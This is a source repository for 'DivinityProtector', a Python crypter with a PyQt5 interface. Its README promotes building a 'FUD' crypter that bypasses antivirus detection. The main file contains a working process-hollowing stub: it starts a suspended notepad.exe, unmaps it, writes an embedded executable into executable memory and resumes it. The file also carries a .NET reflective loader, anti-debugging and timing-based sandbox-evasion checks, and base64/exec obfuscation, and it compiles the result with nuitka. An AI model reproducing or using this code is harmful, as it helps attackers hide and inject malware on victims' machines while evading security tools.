├── GUI.png
├── src
├── launch.py
├── definitions.py
└── divinityprotector.py
└── README.md
/GUI.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DivineSoftware/DivinityProtector/HEAD/GUI.png
--------------------------------------------------------------------------------
/src/launch.py:
--------------------------------------------------------------------------------
1 | from PyQt5 import QtCore, QtGui, QtWidgets
2 | from PyQt5.QtWidgets import QApplication
3 | import sys
4 | import warnings
5 | warnings.simplefilter("ignore", UserWarning)
6 | sys.coinit_flags = 2
7 | import pywinauto
8 | import divinityprotector
9 |
10 | class ExampleApp(QtWidgets.QMainWindow, divinityprotector.Ui_Dialog):
11 | def __init__(self, parent=None):
12 | super(ExampleApp, self).__init__(parent)
13 | self.setupUi(self)
14 |
15 | def main():
16 | app = QApplication(sys.argv)
17 | form = ExampleApp()
18 | form.show()
19 | app.exec_()
20 |
21 | if __name__ == '__main__':
22 | main()
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # DivinityProtector
2 | ## What is it?
3 | A crypter written in Python with use of PyQt5 UI, supporting both .NET and Native (x32/64) executables.
4 | ## What functions does it have?
5 | Currently implemented methods are obfuscation, timer check with random delay and anti debugging.
6 | ## What is the advantage of a crypter being written in Python?
7 | This list of features can be easily extended by adding new UI components and payload code updates. Thanks to the rather small codebase and easy-to-understand syntax,
8 | you should be able to build on top of it and make your own FUD crypter in Python!
9 | ## Is there more to it?
10 | Yes, way more. Besides the ability of bypassing any static detections by dynamic code packing (runtime code reflection) thanks to `exec()` built-in,
11 | it uses nuitka to compile stub so the output executable is native.
12 | ## Where can I get a more stable crypter for my projects?
13 | If you are looking for an enterprise solution for protecting your digital products,
14 | try out our BitCrypter.
15 |
16 |
17 |
18 | The source used to have an icon picker alongside with additional payload encryption,
19 | but these features were considered useless and removed to preserve clean GUI.
20 |
--------------------------------------------------------------------------------
/src/definitions.py:
--------------------------------------------------------------------------------
1 | from ctypes import POINTER, Structure, Union, c_ulonglong
2 | from ctypes.wintypes import BOOL, BYTE, DWORD, HANDLE, LPVOID, LPWSTR, WORD
3 |
4 | CREATE_SUSPENDED = 0x00000004
5 |
6 | CONTEXT_FULL = 0x10000B
7 | WOW64_CONTEXT_FULL = 0x10007
8 |
9 | MEM_COMMIT = 0x1000
10 | MEM_RESERVE = 0x2000
11 | PAGE_EXECUTE_READWRITE = 0x40
12 |
13 | DWORD64 = c_ulonglong
14 |
15 | WOW64_MAXIMUM_SUPPORTED_EXTENSION = 512
16 |
17 |
18 | class SECURITY_ATTRIBUTES(Structure):
19 | _fields_ = [
20 | ("nLength", DWORD),
21 | ("lpSecurityDescriptor", LPVOID),
22 | ("bInheritHandle", BOOL),
23 | ]
24 |
25 |
26 | class PROCESS_INFORMATION(Structure):
27 | _fields_ = [
28 | ("hProcess", HANDLE),
29 | ("hThread", HANDLE),
30 | ("dwProcessId", DWORD),
31 | ("dwThreadId", DWORD),
32 | ]
33 |
34 |
35 | class STARTUPINFO(Structure):
36 | _fields_ = [
37 | ("cb", DWORD),
38 | ("lpReserved", LPWSTR),
39 | ("lpDesktop", LPWSTR),
40 | ("lpTitle", LPWSTR),
41 | ("dwX", DWORD),
42 | ("dwY", DWORD),
43 | ("dwXSize", DWORD),
44 | ("dwYSize", DWORD),
45 | ("dwXCountChars", DWORD),
46 | ("dwYCountChars", DWORD),
47 | ("dwFillAttribute", DWORD),
48 | ("dwFlags", DWORD),
49 | ("wShowWindow", WORD),
50 | ("cbReserved2", WORD),
51 | ("lpReserved2", POINTER(BYTE)),
52 | ("hStdInput", HANDLE),
53 | ("hStdOutput", HANDLE),
54 | ("hStdError", HANDLE),
55 | ]
56 |
57 |
58 | class WOW64_FLOATING_SAVE_AREA(Structure):
59 | _fields_ = [
60 | ("ControlWord", DWORD),
61 | ("StatusWord", DWORD),
62 | ("TagWord", DWORD),
63 | ("ErrorOffset", DWORD),
64 | ("ErrorSelector", DWORD),
65 | ("DataOffset", DWORD),
66 | ("DataSelector", DWORD),
67 | ("RegisterArea", BYTE * 80),
68 | ("Cr0NpxState", DWORD),
69 | ]
70 |
71 |
72 | class WOW64_CONTEXT(Structure):
73 | _fields_ = [
74 | ("ContextFlags", DWORD),
75 | ("Dr0", DWORD),
76 | ("Dr1", DWORD),
77 | ("Dr2", DWORD),
78 | ("Dr3", DWORD),
79 | ("Dr6", DWORD),
80 | ("Dr7", DWORD),
81 | ("FloatSave", WOW64_FLOATING_SAVE_AREA),
82 | ("SegGs", DWORD),
83 | ("SegFs", DWORD),
84 | ("SegEs", DWORD),
85 | ("SegDs", DWORD),
86 | ("Edi", DWORD),
87 | ("Esi", DWORD),
88 | ("Ebx", DWORD),
89 | ("Edx", DWORD),
90 | ("Ecx", DWORD),
91 | ("Eax", DWORD),
92 | ("Ebp", DWORD),
93 | ("Eip", DWORD),
94 | ("SegCs", DWORD),
95 | ("EFlags", DWORD),
96 | ("Esp", DWORD),
97 | ("SegSs", DWORD),
98 | ("ExtendedRegisters", BYTE * WOW64_MAXIMUM_SUPPORTED_EXTENSION),
99 | ]
100 |
101 |
102 | class M128A(Structure):
103 | _fields_ = [("Low", DWORD64), ("High", DWORD64)]
104 |
105 |
106 | class XMM_SAVE_AREA32(Structure):
107 | _pack_ = 1
108 | _fields_ = [
109 | ("ControlWord", WORD),
110 | ("StatusWord", WORD),
111 | ("TagWord", BYTE),
112 | ("Reserved1", BYTE),
113 | ("ErrorOpcode", WORD),
114 | ("ErrorOffset", DWORD),
115 | ("ErrorSelector", WORD),
116 | ("Reserved2", WORD),
117 | ("DataOffset", DWORD),
118 | ("DataSelector", WORD),
119 | ("Reserved3", WORD),
120 | ("MxCsr", DWORD),
121 | ("MxCsr_Mask", DWORD),
122 | ("FloatRegisters", M128A * 8),
123 | ("XmmRegisters", M128A * 16),
124 | ("Reserved4", BYTE * 96),
125 | ]
126 |
127 |
128 | class DUMMYSTRUCTNAME(Structure):
129 | _fields_ = [
130 | ("Header", M128A * 2),
131 | ("Legacy", M128A * 8),
132 | ("Xmm0", M128A),
133 | ("Xmm1", M128A),
134 | ("Xmm2", M128A),
135 | ("Xmm3", M128A),
136 | ("Xmm4", M128A),
137 | ("Xmm5", M128A),
138 | ("Xmm6", M128A),
139 | ("Xmm7", M128A),
140 | ("Xmm8", M128A),
141 | ("Xmm9", M128A),
142 | ("Xmm10", M128A),
143 | ("Xmm11", M128A),
144 | ("Xmm12", M128A),
145 | ("Xmm13", M128A),
146 | ("Xmm14", M128A),
147 | ("Xmm15", M128A),
148 | ]
149 |
150 |
151 | class DUMMYUNIONNAME(Union):
152 | _fields_ = [("FltSave", XMM_SAVE_AREA32), ("DummyStruct", DUMMYSTRUCTNAME)]
153 |
154 |
155 | class CONTEXT64(Structure):
156 | _pack_ = 16
157 | _fields_ = [
158 | ("P1Home", DWORD64),
159 | ("P2Home", DWORD64),
160 | ("P3Home", DWORD64),
161 | ("P4Home", DWORD64),
162 | ("P5Home", DWORD64),
163 | ("P6Home", DWORD64),
164 | ("ContextFlags", DWORD),
165 | ("MxCsr", DWORD),
166 | ("SegCs", WORD),
167 | ("SegDs", WORD),
168 | ("SegEs", WORD),
169 | ("SegFs", WORD),
170 | ("SegGs", WORD),
171 | ("SegSs", WORD),
172 | ("EFlags", DWORD),
173 | ("Dr0", DWORD64),
174 | ("Dr1", DWORD64),
175 | ("Dr2", DWORD64),
176 | ("Dr3", DWORD64),
177 | ("Dr6", DWORD64),
178 | ("Dr7", DWORD64),
179 | ("Rax", DWORD64),
180 | ("Rcx", DWORD64),
181 | ("Rdx", DWORD64),
182 | ("Rbx", DWORD64),
183 | ("Rsp", DWORD64),
184 | ("Rbp", DWORD64),
185 | ("Rsi", DWORD64),
186 | ("Rdi", DWORD64),
187 | ("R8", DWORD64),
188 | ("R9", DWORD64),
189 | ("R10", DWORD64),
190 | ("R11", DWORD64),
191 | ("R12", DWORD64),
192 | ("R13", DWORD64),
193 | ("R14", DWORD64),
194 | ("R15", DWORD64),
195 | ("Rip", DWORD64),
196 | ("DebugControl", DWORD64),
197 | ("LastBranchToRip", DWORD64),
198 | ("LastBranchFromRip", DWORD64),
199 | ("LastExceptionToRip", DWORD64),
200 | ("LastExceptionFromRip", DWORD64),
201 | ("DUMMYUNIONNAME", DUMMYUNIONNAME),
202 | ("VectorRegister", M128A * 26),
203 | ("VectorControl", DWORD64),
204 | ]
205 |
--------------------------------------------------------------------------------
/src/divinityprotector.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | from PyQt5 import QtCore, QtGui, QtWidgets
3 | from PyQt5.QtCore import Qt, QPoint
4 | import base64, random, string
5 | from itertools import cycle
6 | from cryptography.fernet import Fernet
7 | import definitions
8 | from ctypes import *
9 | from ctypes.wintypes import LPVOID
10 | import os, ctypes, sys, platform
11 | import clr
12 | from System.Reflection import Assembly
13 | import nuitka
14 |
15 | class Ui_Dialog(object):
16 | def setupUi(self, Dialog):
17 | Dialog.setObjectName("Dialog")
18 | Dialog.resize(187, 199)
19 | Dialog.setFixedSize(187, 199)
20 | palette = QtGui.QPalette()
21 | brush = QtGui.QBrush(QtGui.QColor(0, 0, 0))
22 | brush.setStyle(QtCore.Qt.SolidPattern)
23 | palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.WindowText, brush)
24 | brush = QtGui.QBrush(QtGui.QColor(38, 38, 38))
25 | brush.setStyle(QtCore.Qt.SolidPattern)
26 | palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Button, brush)
27 | brush = QtGui.QBrush(QtGui.QColor(0, 255, 127))
28 | brush.setStyle(QtCore.Qt.SolidPattern)
29 | palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Midlight, brush)
30 | brush = QtGui.QBrush(QtGui.QColor(0, 255, 127))
31 | brush.setStyle(QtCore.Qt.SolidPattern)
32 | palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Dark, brush)
33 | brush = QtGui.QBrush(QtGui.QColor(0, 255, 127))
34 | brush.setStyle(QtCore.Qt.SolidPattern)
35 | palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Mid, brush)
36 | brush = QtGui.QBrush(QtGui.QColor(0, 0, 0))
37 | brush.setStyle(QtCore.Qt.SolidPattern)
38 | palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Text, brush)
39 | brush = QtGui.QBrush(QtGui.QColor(0, 0, 0))
40 | brush.setStyle(QtCore.Qt.SolidPattern)
41 | palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.ButtonText, brush)
42 | brush = QtGui.QBrush(QtGui.QColor(38, 38, 38))
43 | brush.setStyle(QtCore.Qt.SolidPattern)
44 | palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Base, brush)
45 | brush = QtGui.QBrush(QtGui.QColor(38, 38, 38))
46 | brush.setStyle(QtCore.Qt.SolidPattern)
47 | palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Window, brush)
48 | brush = QtGui.QBrush(QtGui.QColor(0, 255, 127))
49 | brush.setStyle(QtCore.Qt.SolidPattern)
50 | palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Shadow, brush)
51 | brush = QtGui.QBrush(QtGui.QColor(0, 255, 127))
52 | brush.setStyle(QtCore.Qt.SolidPattern)
53 | palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.AlternateBase, brush)
54 | brush = QtGui.QBrush(QtGui.QColor(0, 255, 127))
55 | brush.setStyle(QtCore.Qt.SolidPattern)
56 | palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.NoRole, brush)
57 | brush = QtGui.QBrush(QtGui.QColor(0, 0, 0))
58 | brush.setStyle(QtCore.Qt.SolidPattern)
59 | palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.WindowText, brush)
60 | brush = QtGui.QBrush(QtGui.QColor(38, 38, 38))
61 | brush.setStyle(QtCore.Qt.SolidPattern)
62 | palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Button, brush)
63 | brush = QtGui.QBrush(QtGui.QColor(0, 255, 127))
64 | brush.setStyle(QtCore.Qt.SolidPattern)
65 | palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Midlight, brush)
66 | brush = QtGui.QBrush(QtGui.QColor(0, 255, 127))
67 | brush.setStyle(QtCore.Qt.SolidPattern)
68 | palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Dark, brush)
69 | brush = QtGui.QBrush(QtGui.QColor(0, 255, 127))
70 | brush.setStyle(QtCore.Qt.SolidPattern)
71 | palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Mid, brush)
72 | brush = QtGui.QBrush(QtGui.QColor(0, 0, 0))
73 | brush.setStyle(QtCore.Qt.SolidPattern)
74 | palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Text, brush)
75 | brush = QtGui.QBrush(QtGui.QColor(0, 0, 0))
76 | brush.setStyle(QtCore.Qt.SolidPattern)
77 | palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.ButtonText, brush)
78 | brush = QtGui.QBrush(QtGui.QColor(38, 38, 38))
79 | brush.setStyle(QtCore.Qt.SolidPattern)
80 | palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Base, brush)
81 | brush = QtGui.QBrush(QtGui.QColor(38, 38, 38))
82 | brush.setStyle(QtCore.Qt.SolidPattern)
83 | palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Window, brush)
84 | brush = QtGui.QBrush(QtGui.QColor(0, 255, 127))
85 | brush.setStyle(QtCore.Qt.SolidPattern)
86 | palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Shadow, brush)
87 | brush = QtGui.QBrush(QtGui.QColor(0, 255, 127))
88 | brush.setStyle(QtCore.Qt.SolidPattern)
89 | palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.AlternateBase, brush)
90 | brush = QtGui.QBrush(QtGui.QColor(0, 255, 127))
91 | brush.setStyle(QtCore.Qt.SolidPattern)
92 | palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.NoRole, brush)
93 | brush = QtGui.QBrush(QtGui.QColor(0, 255, 127))
94 | brush.setStyle(QtCore.Qt.SolidPattern)
95 | palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.WindowText, brush)
96 | brush = QtGui.QBrush(QtGui.QColor(38, 38, 38))
97 | brush.setStyle(QtCore.Qt.SolidPattern)
98 | palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Button, brush)
99 | brush = QtGui.QBrush(QtGui.QColor(0, 255, 127))
100 | brush.setStyle(QtCore.Qt.SolidPattern)
101 | palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Midlight, brush)
102 | brush = QtGui.QBrush(QtGui.QColor(0, 255, 127))
103 | brush.setStyle(QtCore.Qt.SolidPattern)
104 | palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Dark, brush)
105 | brush = QtGui.QBrush(QtGui.QColor(0, 255, 127))
106 | brush.setStyle(QtCore.Qt.SolidPattern)
107 | palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Mid, brush)
108 | brush = QtGui.QBrush(QtGui.QColor(0, 255, 127))
109 | brush.setStyle(QtCore.Qt.SolidPattern)
110 | palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Text, brush)
111 | brush = QtGui.QBrush(QtGui.QColor(0, 255, 127))
112 | brush.setStyle(QtCore.Qt.SolidPattern)
113 | palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.ButtonText, brush)
114 | brush = QtGui.QBrush(QtGui.QColor(38, 38, 38))
115 | brush.setStyle(QtCore.Qt.SolidPattern)
116 | palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Base, brush)
117 | brush = QtGui.QBrush(QtGui.QColor(38, 38, 38))
118 | brush.setStyle(QtCore.Qt.SolidPattern)
119 | palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Window, brush)
120 | brush = QtGui.QBrush(QtGui.QColor(0, 255, 127))
121 | brush.setStyle(QtCore.Qt.SolidPattern)
122 | palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Shadow, brush)
123 | brush = QtGui.QBrush(QtGui.QColor(0, 255, 127))
124 | brush.setStyle(QtCore.Qt.SolidPattern)
125 | palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.AlternateBase, brush)
126 | brush = QtGui.QBrush(QtGui.QColor(0, 255, 127))
127 | brush.setStyle(QtCore.Qt.SolidPattern)
128 | palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.NoRole, brush)
129 | Dialog.setPalette(palette)
130 | font = QtGui.QFont()
131 | font.setFamily("Rockwell")
132 | font.setPointSize(10)
133 | Dialog.setFont(font)
134 | Dialog.setCursor(QtGui.QCursor(QtCore.Qt.WhatsThisCursor))
135 | Dialog.setAutoFillBackground(False)
136 | Dialog.setStyleSheet("background-color: rgb(38, 38, 38)")
137 | self.pushButton = QtWidgets.QPushButton(Dialog)
138 | self.pushButton.setGeometry(QtCore.QRect(40, 140, 93, 28))
139 | palette = QtGui.QPalette()
140 | brush = QtGui.QBrush(QtGui.QColor(0, 255, 127))
141 | brush.setStyle(QtCore.Qt.SolidPattern)
142 | palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.WindowText, brush)
143 | brush = QtGui.QBrush(QtGui.QColor(0, 255, 127))
144 | brush.setStyle(QtCore.Qt.SolidPattern)
145 | palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Button, brush)
146 | brush = QtGui.QBrush(QtGui.QColor(0, 255, 127))
147 | brush.setStyle(QtCore.Qt.SolidPattern)
148 | palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Base, brush)
149 | brush = QtGui.QBrush(QtGui.QColor(0, 255, 127))
150 | brush.setStyle(QtCore.Qt.SolidPattern)
151 | palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Window, brush)
152 | brush = QtGui.QBrush(QtGui.QColor(0, 255, 127))
153 | brush.setStyle(QtCore.Qt.SolidPattern)
154 | palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.WindowText, brush)
155 | brush = QtGui.QBrush(QtGui.QColor(0, 255, 127))
156 | brush.setStyle(QtCore.Qt.SolidPattern)
157 | palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Button, brush)
158 | brush = QtGui.QBrush(QtGui.QColor(0, 255, 127))
159 | brush.setStyle(QtCore.Qt.SolidPattern)
160 | palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Base, brush)
161 | brush = QtGui.QBrush(QtGui.QColor(0, 255, 127))
162 | brush.setStyle(QtCore.Qt.SolidPattern)
163 | palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Window, brush)
164 | brush = QtGui.QBrush(QtGui.QColor(120, 120, 120))
165 | brush.setStyle(QtCore.Qt.SolidPattern)
166 | palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.WindowText, brush)
167 | brush = QtGui.QBrush(QtGui.QColor(0, 255, 127))
168 | brush.setStyle(QtCore.Qt.SolidPattern)
169 | palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Button, brush)
170 | brush = QtGui.QBrush(QtGui.QColor(0, 255, 127))
171 | brush.setStyle(QtCore.Qt.SolidPattern)
172 | palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Base, brush)
173 | brush = QtGui.QBrush(QtGui.QColor(0, 255, 127))
174 | brush.setStyle(QtCore.Qt.SolidPattern)
175 | palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Window, brush)
176 | self.pushButton.setPalette(palette)
177 | self.pushButton.setAutoFillBackground(False)
178 | self.pushButton.setStyleSheet("background-color: rgb(0, 255, 127)")
179 | self.pushButton.setObjectName("pushButton")
180 | self.pushButton_2 = QtWidgets.QPushButton(Dialog)
181 | self.pushButton_2.setGeometry(QtCore.QRect(80, 20, 93, 21))
182 | self.pushButton_2.setStyleSheet("background-color: rgb(0, 255, 127)")
183 | self.pushButton_2.setObjectName("pushButton_2")
184 | self.label = QtWidgets.QLabel(Dialog)
185 | self.label.setGeometry(QtCore.QRect(10, 22, 55, 16))
186 | self.label.setStyleSheet("color: rgb(0, 255, 127)")
187 | self.label.setObjectName("label")
188 | self.label_2 = QtWidgets.QLabel(Dialog)
189 | self.label_2.setGeometry(QtCore.QRect(49, 118, 175, 16))
190 | self.label_2.setStyleSheet("color: rgb(0, 255, 127)")
191 | self.label_2.setObjectName("label_2")
192 | self.checkBox_net = QtWidgets.QCheckBox(Dialog)
193 | #self.checkBox_net.setGeometry(QtCore.QRect(47, 118, 81, 20))
194 | self.checkBox_net.setStyleSheet("color: rgb(0, 255, 127);\n"
195 | "background-color: rgb(85, 85, 127)")
196 | self.checkBox_net.setObjectName("checkBox_net")
197 | self.checkBox = QtWidgets.QCheckBox(Dialog)
198 | self.checkBox_net.setGeometry(QtCore.QRect(10, 60, 81, 20))
199 | self.checkBox.setStyleSheet("color: rgb(0, 255, 127);\n"
200 | "background-color: rgb(85, 85, 127)")
201 | self.checkBox.hide()
202 | self.checkBox.setObjectName("checkBox")
203 | self.checkBox_2 = QtWidgets.QCheckBox(Dialog)
204 | self.checkBox_2.setGeometry(QtCore.QRect(100, 60, 81, 20))
205 | self.checkBox_2.setStyleSheet("color: rgb(0, 255, 127);\n"
206 | "background-color: rgb(85, 85, 127)")
207 | self.checkBox_2.setObjectName("checkBox_2")
208 | self.checkBox_3 = QtWidgets.QCheckBox(Dialog)
209 | self.checkBox_3.setGeometry(QtCore.QRect(10, 90, 81, 20))
210 | self.checkBox_3.setStyleSheet("color: rgb(0, 255, 127);\n"
211 | "background-color: rgb(85, 85, 127)")
212 | self.checkBox_3.setObjectName("checkBox_3")
213 | self.checkBox_4 = QtWidgets.QCheckBox(Dialog)
214 | self.checkBox_4.setGeometry(QtCore.QRect(100, 90, 81, 20))
215 | self.checkBox_4.setStyleSheet("color: rgb(0, 255, 127);\n"
216 | "background-color: rgb(85, 85, 127)")
217 | self.checkBox_4.setObjectName("checkBox_4")
218 | self.label.setWordWrap(True)
219 |
220 | self.pushButton_2.clicked.connect(self.onInputFileButtonClicked)
221 | self.pushButton.clicked.connect(self.onCryptButtonClicked)
222 |
223 | self.retranslateUi(Dialog)
224 | QtCore.QMetaObject.connectSlotsByName(Dialog)
225 |
226 | def retranslateUi(self, Dialog):
227 | _translate = QtCore.QCoreApplication.translate
228 | Dialog.setWindowTitle(_translate("Dialog", "Divinity protector"))
229 | self.pushButton.setText(_translate("Dialog", "Protect"))
230 | self.pushButton_2.setText(_translate("Dialog", "Browse"))
231 | self.label.setText(_translate("Dialog", "Open file"))
232 | self.label_2.setText(_translate("Dialog", "Ready to go!"))
233 | self.checkBox_net.setText(_translate("Dialog", "Is .NET"))
234 | #self.checkBox.setText(_translate("Dialog", "Encrypt"))
235 | self.checkBox_2.setText(_translate("Dialog", "Timer"))
236 | self.checkBox_3.setText(_translate("Dialog", "Obfuscate"))
237 | self.checkBox_4.setText(_translate("Dialog", "Antidebug"))
238 |
239 | #code above is from the pyqt5 designer
240 | filename = ""
241 |
242 | def cryptfile(self,filepath,timer,obfuscation,antivm,isnet):
243 | paynet = """
244 | import clr, base64
245 | from System.Reflection import Assembly
246 | #imports
247 | #timer
248 | #antivm
249 |
250 | PAYLOAD_DATA = ""
251 |
252 | #decrypt
253 |
254 | assembly = Assembly.Load(base64.b64decode(PAYLOAD_DATA))
255 | instance = assembly.CreateInstance(assembly.EntryPoint.Name)
256 | assembly.EntryPoint.Invoke(instance,None)
257 | """
258 | pay = """
259 | from ctypes import *
260 | from ctypes.wintypes import LPVOID
261 | import base64, os, ctypes, sys, platform, pefile
262 | from definitions import CONTEXT64, PROCESS_INFORMATION, STARTUPINFO, WOW64_CONTEXT
263 | from definitions import CONTEXT_FULL, CREATE_SUSPENDED, MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE, WOW64_CONTEXT_FULL
264 | #imports
265 | #timer
266 | #antivm
267 | USING_64_BIT = platform.architecture()[0] == '64bit'
268 | #injection into notepad
269 | #system32 = os.path.join(os.environ['SystemRoot'], 'SysNative' if
270 | #platform.architecture()[0] == '32bit' else 'System32')
271 |
272 | TARGET_EXE = "C:\\\\Windows\\\\System32\\\\notepad.exe"
273 | PAYLOAD_DATA = ""
274 |
275 | #decrypt
276 |
277 | startup_info = STARTUPINFO()
278 | startup_info.cb = sizeof(startup_info)
279 | process_info = PROCESS_INFORMATION()
280 |
281 | #kernel = CDLL("C:\\\\Windows\\\\System32\\\\user32.dll")
282 | if windll.kernel32.CreateProcessA(
283 | None,
284 | create_string_buffer(bytes(TARGET_EXE, "ascii")),
285 | None,
286 | None,
287 | False,
288 | CREATE_SUSPENDED,
289 | None,
290 | None,
291 | byref(startup_info),
292 | byref(process_info),
293 | ) == 0:
294 | sys.exit(0)
295 |
296 | pe_payload = pefile.PE(None,base64.b64decode(PAYLOAD_DATA))
297 | payload_data = base64.b64decode(PAYLOAD_DATA)
298 |
299 | context = CONTEXT64() if USING_64_BIT else WOW64_CONTEXT()
300 | context.ContextFlags = CONTEXT_FULL if USING_64_BIT else WOW64_CONTEXT_FULL
301 | if windll.kernel32.GetThreadContext(process_info.hThread, byref(context)) == 0:
302 | sys.exit(0)
303 |
304 | target_image_base = LPVOID()
305 | if windll.kernel32.ReadProcessMemory(
306 | process_info.hProcess,
307 | LPVOID((context.Rdx if USING_64_BIT else context.Ebx) + 2 * sizeof(c_size_t)),
308 | byref(target_image_base),
309 | sizeof(LPVOID),
310 | None
311 | ) == 0:
312 | sys.exit(0)
313 |
314 | if target_image_base == pe_payload.OPTIONAL_HEADER.ImageBase:
315 | if windll.ntdll.NtUnmapViewOfSection(process_info.hProcess, target_image_base) == 0:
316 | sys.exit(0)
317 |
318 |
319 | if USING_64_BIT:
320 | windll.kernel32.VirtualAllocEx.restype = LPVOID
321 | allocated_address = windll.kernel32.VirtualAllocEx(
322 | process_info.hProcess,
323 | LPVOID(pe_payload.OPTIONAL_HEADER.ImageBase),
324 | pe_payload.OPTIONAL_HEADER.SizeOfImage,
325 | MEM_COMMIT | MEM_RESERVE,
326 | PAGE_EXECUTE_READWRITE,
327 | )
328 | if allocated_address == 0:
329 | sys.exit(0)
330 |
331 | if windll.kernel32.WriteProcessMemory(
332 | process_info.hProcess,
333 | LPVOID(allocated_address),
334 | payload_data,
335 | pe_payload.OPTIONAL_HEADER.SizeOfHeaders,
336 | None,
337 | ) == 0:
338 | sys.exit(0)
339 |
340 | for section in pe_payload.sections:
341 | section_name = section.Name.decode("utf-8").strip("\\x00")
342 | if windll.kernel32.WriteProcessMemory(
343 | process_info.hProcess,
344 | LPVOID(allocated_address + section.VirtualAddress),
345 | payload_data[section.PointerToRawData:],
346 | section.SizeOfRawData,
347 | None,
348 | ) == 0:
349 | sys.exit(0)
350 |
351 | if USING_64_BIT:
352 | context.Rcx = allocated_address + pe_payload.OPTIONAL_HEADER.AddressOfEntryPoint
353 | else:
354 | context.Eax = allocated_address + pe_payload.OPTIONAL_HEADER.AddressOfEntryPoint
355 |
356 | if windll.kernel32.WriteProcessMemory(
357 | process_info.hProcess,
358 | LPVOID((context.Rdx if USING_64_BIT else context.Ebx) + 2 * sizeof(c_size_t)),
359 | payload_data[pe_payload.OPTIONAL_HEADER.get_field_absolute_offset("ImageBase"):],
360 | sizeof(LPVOID),
361 | None,
362 | ) == 0:
363 | sys.exit(0)
364 |
365 | #erease PE headers
366 | try:
367 | if windll.kernel32.RtlZeroMemory(LPVOID(context.Rdx if USING_64_BIT else context.Ebx), pe_payload.OPTIONAL_HEADER.SizeOfHeaders) == 0:
368 | sys.exit(0)
369 | except:
370 | pass
371 |
372 | if windll.kernel32.SetThreadContext(process_info.hThread, byref(context)) == 0:
373 | sys.exit(0)
374 |
375 | if windll.kernel32.ResumeThread(process_info.hThread) == 0:
376 | sys.exit(0)
377 | """
378 | with open(filepath, "rb") as exe:
379 | with open("generated.py", "w") as replacing:
380 | if isnet:
381 | pay = paynet.replace("assembly",''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in range(random.randint(20,40)))).replace("instance",''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in range(random.randint(20,40))))
382 | final = pay.replace('PAYLOAD_DATA = ""', 'PAYLOAD_DATA = b"' + base64.b64encode(exe.read()).decode() + '"')
383 | if timer:
384 | final = final.replace("#imports","import time,random\n#imports").replace("#timer","one = time.time()\ntime.sleep(random.randint(1,9))\ntwo = time.time()\nif (two-one)<1:\n sys.exit(0)")
385 | if antivm:
386 | final = final.replace("#imports","import os,sys\nfrom ctypes import windll\n#imports").replace("#antivm","present = False\nwindll.kernel32.CheckRemoteDebuggerPresent(os.getpid(),present)\nif windll.kernel32.IsDebuggerPresent() or present:\n sys.exit(0)")
387 | if obfuscation:
388 | final = final.split("#imports")[0] + "exec(base64.b64decode('"+base64.b64encode(final.split("#imports")[1].encode()).decode()+"'))"
389 |
390 | replacing.write(final)
391 |
392 | os.system("nuitka --follow-imports --onefile generated.py --windows-disable-console")
393 | os.remove("generated.py")
394 |
395 | def onInputFileButtonClicked(self):
396 | self.filename, filter = QtWidgets.QFileDialog.getOpenFileName(parent=self, caption='Open file', filter='Executable Files (*.*)')
397 |
398 | if self.filename != "":
399 | self.label.setText(self.filename.split("/")[len(self.filename.split("/"))-1])
400 |
401 | def onCryptButtonClicked(self):
402 | #self.label_2.setGeometry(QtCore.QRect(5, 118, 175, 16))
403 | self.label_2.setGeometry(QtCore.QRect(53, 118, 175, 16))
404 | self.label_2.setText("Processing!")
